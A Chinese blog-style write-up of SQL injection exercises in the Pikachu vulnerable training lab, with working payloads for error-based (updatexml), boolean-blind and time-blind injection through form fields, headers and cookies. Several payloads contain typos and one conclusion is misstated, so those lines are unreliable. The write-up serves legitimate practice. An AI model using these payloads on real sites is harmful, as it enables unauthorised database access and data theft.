pikachu靶场之SQL注入
0x00 前言
手工注入忘的差不多了。。。还是需要多多练习
以下关卡都是稍微测以下存不存在sql注入,查下数据库名啥的
没有将所有字段都爆出来。
冲鸭~
0x01 数字型注入(post)
因为是数字型,直接在后面加上真命题,不需要加单引号测试
0x02 字符型注入(get)
加单引号报错,说明存在sql注入
再加上真命题查询到all
0x03 搜索型注入
加单引号,sql语句报错
Payload:
li’ or 1=1 --+
加上真命题回显all
Payload:
li' and length(database())=7 --+
测得数据库长度为7时正常回显
说明数据库长度为7
测数据库名
and ascii(substr(database(),x,1))=n
X:库名第几位(1-7)
N:该位对应的ascii码值
对n进行爆破(65-122)
最后得到数据库名:pikachu
0x04 xx型注入
加单引号
0x05 insert/update注入
1.insert注入
测试模块:注册处
令用户名为quan’
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
2.Update注入
先登录进去,然后在修改资料处填写信息抓包
Payload:
quan' or updatexml(1,concat(0x7e,database()),0) or'
0x06 delete注入
先留言,点击删除时抓包
Payload:
62 or updatexml (1,concat(0x7e,datebase()),0)
在bp中Ctrl+U 对payload进行url编码
0x07 http header注入
1.UA头
Payload:
1' or updatexml (1,concat(0x7e,datebase()),0) or '
2.COOKIE
cookie中的admin也是一个注入点
0x08 盲注(base on boolian)
只有加and 1=1#
才能返回个人信息,or 1=1#
都报错:您输入的username不存在,请重新输入!
利用and 1=1构造payload
Payload:
kobe' and ascii(substr(database(),1,1))=112#
0x09 盲注(base on time)
payload:
kobe’ and sleep(5)#
可以看到时间线是5s,说明存在基于时间的盲注
Payload:
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
此时1ms就返回结果,说明数据库名第一位不是a
将a改为p,则一直不返回结果
说明数据库名第一位不是a
0x10 宽字节注入
emmmm还没写出来,下次吧
先下班了,肥宅大哭?
你是这白开水一样淡的日子里偷偷加的一颗糖~~